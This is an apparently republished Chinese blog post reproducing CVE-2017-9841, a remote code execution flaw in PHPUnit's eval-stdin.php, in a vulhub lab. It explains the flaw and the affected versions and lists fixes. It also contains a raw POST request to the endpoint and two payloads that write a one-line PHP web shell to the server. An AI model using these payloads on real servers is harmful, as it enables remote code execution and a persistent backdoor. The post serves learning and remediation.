PHPUnit漏洞復現


簡介

漏洞環境:vulhub

參考鏈接:

https://blog.csdn.net/csacs/article/details/90640601

https://blog.csdn.net/zy15667076526/article/details/111824844

CVE-2017-9841

PHPUnit 是 PHP 程式語言中最常見的單元測試 (unit testing) 框架,通常phpunit使用composer非常流行的PHP依賴管理器進行部署,將會在當前目錄創建一個vendor文件夾。phpunit生產環境中仍然安裝了它,如果該編寫器模塊存在於Web可訪問目錄,則存在遠程代碼執行漏洞。

composer是php包管理工具,使用composer安裝擴展包將會在當前目錄創建一個vendor文件夾,並將所有文件放在其中。通常這個目錄需要放在web目錄外,使用戶不能直接訪問。

phpunit是php中的單元測試工具,其4.8.19 ~ 4.8.27和5.0.10 ~ 5.6.2版本的vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php文件有如下代碼

eval('?>'.file_get_contents('php://input'));

如果該文件被用戶直接訪問到,將造成原創代碼執行漏洞。

影響版本:

  • 4.8.19 ~ 4.8.27
  • 5.0.10 ~ 5.6.2

漏洞復現

啟動vulhub中的docker環境,訪問eval-stdin.php的路徑:

http://144.34.169.6:8080/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

使用bp進行抓包,將請求方式改為POST,同時將php代碼作為請求體。

POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: 144.34.169.6:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 18

執行結果:

看博客,寫入一句話木馬:<?=file_put_contents("test.php", '<?=@eval($_REQUEST[cmd]);?>');,但是我發現我根本寫入不進去,提示該文件寫入權限不足:

file_put_contents(test.php): failed to open stream: Permission denied in /var/www/html/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php(3) : eval()'d code

原因是,apache使用的是www-data用戶運行,而web目錄下的文件用戶與用戶組權限均為root,eval-stdin.php所在的PHP文件夾,其他用戶只有執行和讀權限,所以寫入失敗。

如果要寫入一句話木馬,需要將PHP目錄增加其他用戶可寫權限。

也可以用這個寫入一句話,<?php file_put_contents("shell.php",'<?php @eval($_POST[cmd]);?>');?>

漏洞修復

  • 生產環境中直接刪掉phpunit
  • 升級phpunit版本
  • 設置權限,禁止訪問該目錄


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM